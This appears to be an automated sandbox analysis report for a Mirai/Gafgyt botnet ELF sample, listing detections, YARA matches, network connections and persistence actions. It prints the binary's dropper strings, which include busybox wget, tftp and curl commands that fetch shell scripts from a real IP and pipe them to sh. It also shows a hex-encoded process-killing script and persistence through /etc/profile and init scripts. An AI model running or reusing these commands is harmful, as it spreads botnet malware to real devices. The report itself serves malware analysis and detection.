Linux Analysis Report
x86_64.nn.elf

Overview

General Information

Sample name: x86_64.nn.elf
Analysis ID: 1561693
MD5: bc4f7b6b809716973dc96fb6a79f93ea
SHA1: 6b657f8958d7bf6f5e4a074252aaa24fcbca4e0c
SHA256: 0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 100
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Machine Learning detection for sample
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "rm" command used to delete files or directories
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Writes shell script file to disk with an unusual file extension
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: x86_64.nn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: x86_64.nn.elf ReversingLabs: Detection: 44%
Source: x86_64.nn.elf Virustotal: Detection: 40% Perma Link
Machine Learning detection for sample
Source: x86_64.nn.elf Joe Sandbox ML: detected
Found strings indicative of a multi-platform dropper
Source: x86_64.nn.elf String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirsize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh487154914<146<2surf2/proc/%d/exe/ /tmp/.socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/loginFound And Killed Process: PID=%d, Realpath=%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-serveranko-app/ankosample _8182T_1104193.143.1.70mallocwaitpid/etc/motd%s
Source: x86_64.nn.elf String: .dThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"v
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:38966 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.23:44340 -> 193.143.1.70:38242
Sample listens on a socket
Source: /tmp/x86_64.nn.elf (PID: 6228) Socket: 0.0.0.0:38242 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 62.189.75.88
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 1.223.230.114
Source: unknown TCP traffic detected without corresponding DNS query: 152.153.237.220
Source: unknown TCP traffic detected without corresponding DNS query: 187.89.92.80
Source: unknown TCP traffic detected without corresponding DNS query: 117.203.190.160
Source: unknown TCP traffic detected without corresponding DNS query: 97.2.185.203
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 44.54.85.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 112.18.96.140
Source: unknown TCP traffic detected without corresponding DNS query: 95.148.177.210
Source: unknown TCP traffic detected without corresponding DNS query: 99.242.99.122
Source: unknown TCP traffic detected without corresponding DNS query: 148.216.229.243
Source: unknown TCP traffic detected without corresponding DNS query: 55.213.172.84
Source: unknown TCP traffic detected without corresponding DNS query: 194.15.55.78
Source: unknown TCP traffic detected without corresponding DNS query: 18.200.149.5
Source: unknown TCP traffic detected without corresponding DNS query: 67.179.206.2
Source: unknown TCP traffic detected without corresponding DNS query: 88.247.182.156
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 173.64.157.84
Source: unknown TCP traffic detected without corresponding DNS query: 222.43.160.67
Source: unknown TCP traffic detected without corresponding DNS query: 62.189.75.88
Source: x86_64.nn.elf, system.16.dr, inittab.16.dr, sh.42.dr, profile.16.dr, custom.service.16.dr, bootcmd.16.dr String found in binary or memory: http://193.143.1.70/
Source: x86_64.nn.elf String found in binary or memory: http://193.143.1.70/curl.sh
Source: x86_64.nn.elf String found in binary or memory: http://193.143.1.70/lol.sh
Source: x86_64.nn.elf String found in binary or memory: http://193.143.1.70/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbi
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirsize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh487154914<146<2surf2/proc/%d/exe/ /tmp/.socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/loginFound And Killed Process: PID=%d, Realpath=%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-se
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .kGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: .dThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x2
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/x86_64.nn.elf (PID: 6237) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6237) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6237) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6237) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6237) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6237) SIGKILL sent: pid: 6286, result: successful Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6237) SIGKILL sent: pid: 6290, result: successful Jump to behavior
Yara signature match
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: classification engine Classification label: mal100.spre.troj.evad.linELF@0/9@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/x86_64.nn.elf (PID: 6228) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/x86_64.nn.elf (PID: 6228) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6305) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 6315) File: /etc/rc.d/S99sh -> /etc/init.d/sh Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/x86_64.nn.elf (PID: 6228) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6302) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6310) File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6430/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6399/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6432/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6398/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6057/cmdline Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6431/status Jump to behavior
